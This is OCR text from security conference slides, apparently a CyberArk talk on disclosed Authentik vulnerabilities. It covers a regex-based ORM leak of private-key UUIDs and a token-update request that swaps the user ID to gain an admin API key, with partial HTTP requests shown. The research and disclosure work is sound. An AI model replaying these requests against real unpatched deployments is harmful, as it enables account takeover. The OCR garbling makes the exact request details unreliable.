certificate_data g \nMIIE7TCCAtWgAWIBAgIQWHIDIBL/
Applications

Events

Logs

Notification Rules
Notification Transports
"new_value": "Test events”,
” . "previous_value”: null
Customization

13
I

"created”: {
“new_value": "2024-89-84T13:39:47.970419Z",
“previous_value": null

Flows and Stages

Directory

s

"kp_uuid": {

@ “new_value": "6948764ccalf4b889€5dc6d5432956F7",
“previous_value”: null

Admin event log - vuid is logged on




HOW HARD CAN IT BE TO LEAK A UUID? ORM LEAK - ORACLE

1 GET /api/v3/events/events/per month/? X cC :1725459789000. "Y_C:Ol:d":
action=login&query={} HTTP/1l.1 x c :1725298509000. "y cord":

: 1125137223000 . "y cord":
events/per_month APl Request .1724975949000.0, "y _cord":

1 GET /api/v3/events/events/per_month/?action= x_ «+1725459789000. "Y_COKC Wis
model createdé&query= . 1725298509000 "Y cord":
{"context diff kp uuid new value regex":""6 ’ T - : — '

HTTE/L1.1 B T :17235137229000. "y _cord":
:1724975949000.0, "y _cord":

Requesting the events/per_month ORM Leak returns a valid response
APl using Regex ORM Leak and an Oracle




HOW HARD CAN IT BE TO LEAK A UUID? DEMO ORM LEAK?

ORM_LEAK POC.mp4

ORM Leak Demo - Used admin credentials




« Events (Log) API
« API Endpoint

YOU CANT ALWAYS WIN

 /api/v3/events/events/per month/?query={}

* Regular (Non-Admin) users can call this API
« But permissions required ® (in the Database)




CVE-2024-42490 INFO LEAK - SUMMARY

» Reported the (info leak) issue to the Authentik security team
« Confirmed, assigned CVE-2024-42490, and fixed.




AUTHENTIK PRIVILEGE ESCALATION (CVE-2024-
37905)




PART 2 - AGENDA

« Part 1 — Keycloak Research & Web Race-Conditions

« Part 2 — Authentik Research & ORM Leaks
(Short) Technical Background
Sensitive Information Leak (CVE-2024-42490)

ORM Leaks

Privilege Escalation (CVE-2024-37905)

Demo




LOGIN AS A NON-ADMIN USER

A avthentik

Welcome to authentik!

Email or Username .

) g& Powe:rled

Login Page




USER SETTINGS - TOKENS

T auvthentik

User details

X Q Create Token H Create App password “ Refresh

[ Identifier

@

No objects found.

onnected services

Tokens and App passwords

Settings-> Tokens management Page




CREATE DEMO TOKEN

Create Token

Identifier * Demo_User Toked

Description

Create ‘ Cancel ’

Create Demo Token




COPY API KEY, EDIT ??

X

Identifier

v Demo_User_Token

User

Expiring

Expiring in 29 minutes

Intent API| Access

Q

Create Token I Create App password H Refresh

= L]

APl Token Copy & Edit



UPDATE TOKEN (EXPIRATION)

Update Token

Identifier * Demo_User_Token

Description

Update ’ Cancel

Token Edit -> Update (expiration)




LET'S INSPECT THE TOKEN UPDATE REQUEST




TOKEN UPDATE REQUEST - AN INTERESTING RESPONSE

Request Response

Pretty Raw Hex = Pretty Raw Hex Grep
PUT /api/v3/core/tokens/User-Token/ HTTB/L.1 1 HITE/L.1 200 OK
Host: authentik.mZa.local 2 Allow: GET, PUT, PATCH, DELETE, HEAD, OPTIONS
Cookie: authentik_csrf=RODgTnubIvIXlKzZB4a7EKOXNiZorbgf; Content-Length: Ll1&4
authentik_session= 4 Content-Type: application/json
eyThbGeiOiJIUzIINIIsInRScCIETkpRVCTY . ey TzaWQLi0LTr aWxhaXh 5 Date: Thu, 05 Sep 2024 11:15:10
vdGN10Gx1NnpyNTNudnEl ej BmYmsS5enFpNyIsImlzeyT6ImF1dGhlbnR & Referrer-Policy: same-origin
payIsInNlYiI&I]YD2TgwZDI3Z6Qw2]Q0ZGEXZTILOTQSONEDNZE] ZTN Vary: Accept-Encoding
LZDYYNS 13 N3 gwOGNk 2TEhMmZ LMTAI OWQwN FmMGE4 Y zMiLCThdXR.oZWS Vary: Cookie
0aWNhdGVEIIp0enV1LOTh¥3Ti0iInb2F1ldGhlbnRpaySpby9ih3J1lLIR X-Authentik-Id: 537h3£47c9dadd3c95e4bThI£45cEEEE
12ZmF1bHQLi£Q. ups0eiBIJAIFIBevIT_ BoRCVgE bImAQS 64 10 X=Content-Type-Options: nosniff
Content-Length: &4 X-Frame-Options: DENY
User—Agent: Mozilla/5.0 (Windows NT 10.0; ; % o X-Powered-By: authentik
AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/127.0.£533,100 safari/537.3é
Content-Type: application/json "pk": "d 4f-a301-4aa2-8300-412b24 £4885£",
X-Authentik-Csrf: RODgTnubIvIX1KzZB4a7EKOXNiZorbgf "managed”:null,
Origin: https://authentik.mZa.local "identifier"”: "Usesr-To
Referer: https://authentik.mZa.local/if/user/ "intent": "api”,

"user”:7,
"user_obj": (

"identifier":"Usex-Token",

nams":
"is_active":true,
"last_legin":"2024-09-05T11:12:30.0140042",
"is_superuser": false,

"groups™: [

1.

"groups obi"

Update-token request




TOKEN UPDATE REQUEST - AN INTERESTING RESPONSE

Chrome/127.0.€6533.100 safari/537.3€

Content-Type: application/json

X-Authentik-Csrf: RODgTnubIvTX1lKzZB4a7EKOXNiZorbgf
Origin: https://authentik.mZa.local

Referer: https://authentik.mZa.local/if/user/

"identifier"”: "User-Token",
"intent":"api",
"description": "testl"

"pk": "ddebd04 £f-a321-4a2a2-8300-412b24£4885£",
"managed":null,
"identifier": "User-Token",
Tintent": "apli”,
"Tuser":7,
"user_ obj": {
ek,
"username": "mZa"
"name": "MZA",

"is_active":true,

"last login":"2024-09-05T11:12:30.0140042",

"is superuser": false,
"groups': [

Update-token request




WHAT IF WE TRY TO UPDATE THE USER?




WHAT IF WE TRY TO UPDATE THE USER?

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; =x=é4) "pk": "bfdl0ZE5-bIee-4bf0-alaa-1058edlcZS56",

AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 "managed":null,

Safari/537.36 "identifier": "user_ token poc_v4",

77 "intent":"
"user": 6,

Content-Length: *api®;

"user_obj": {
"identifier": "user_ token_poc_v4", "pk": 6,

" "username": "akadmin",

"intent": "api”,

amn

"name": "u_l658",

"o "is_active":true,
"last_lcvgin": "2024-06-09T08:56:31.45446232",
"is superuser":true,

"user": 6,
"description":

(PUT) Update-token user property




AUTHENTIK DEMO - API TOKEN PRIVILEGE ESCALATION

Demo Video - Authentik CVE-2024-37905 POC.mp4




AUTHENTIK DEMO - API TOKEN PRIVILEGE ESCALATION

X ar

8] Btpsy//authentik.m2a.local/if/user/#/library

‘S authentik

Loading




WE HAVE AN ADMIN API KEY => FULL
CONTROL OF THE SYSTEM!




CVE-2024-37905 - PRIVILEGE ESCALATION - SUMMARY

» Reported the issue to the Authentik security team
« Confirmed, assigned CVE-2024-37905, and fixed.




RECAP & TAKEAWAYS




RECAP

« Part 1 — Keycloak Research
Technical Background (IDP & Multithreading)
Web Race Conditions
The Single-Packet Attack & HTTP2
Evaluation on Keycloak & Demo

« Part 2 — Authentik Research
« Technical Background (Object Relational Mappers)
Private Key Information Leak (CVE-2024-42490) & ORM Leaks
« Authentik Privilege Escalation (CVE-2024-37905) & Demo




RESEARCH TAKEAWAYS

« HTTP
« HTTP request processing isn’t atomic
« HTTP2 - Is Binary, Using Streams

« The single-packet attack can be used to test web applications for race conditions

» Developers:
Ensure sensitive endpoints make state changes “atomic” (in the API as well)
Double-check access restrictions on sensitive endpoints
Avoid direct manipulations on (API) tokens
When using ORMs; Be aware of vulnerable patterns and safe use
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ONE MORE THING :)




BUILT-IN IMPERSONATION (WE ARE THE ADMIN)

User folders Search x Q ‘ Create Service account H Refresh

Delete

v &= Root

> I goauthentik.io i Active Last login Type

sers
B8 users v Yes Internal

Internal

Internal

Impersonation




YOUR IDENTITY IS MINE! ;)




QUESTIONS?




READ MORE AT OUR BLOG POSTS & THANK YOU

Keycloak — Blogpost:

https://www.cyberark.com/resources/threat-research-
blog/you-cant-always-win-racing-the-keycloak

Authentik — Blogpost:

https://www.cyberark.com/resources/threat-research-
blog/lets-be-authentik-you-cant-always-leak-orms

Contact (LinkedIn):

https://il.linkedin.com/in/maor-abutbul




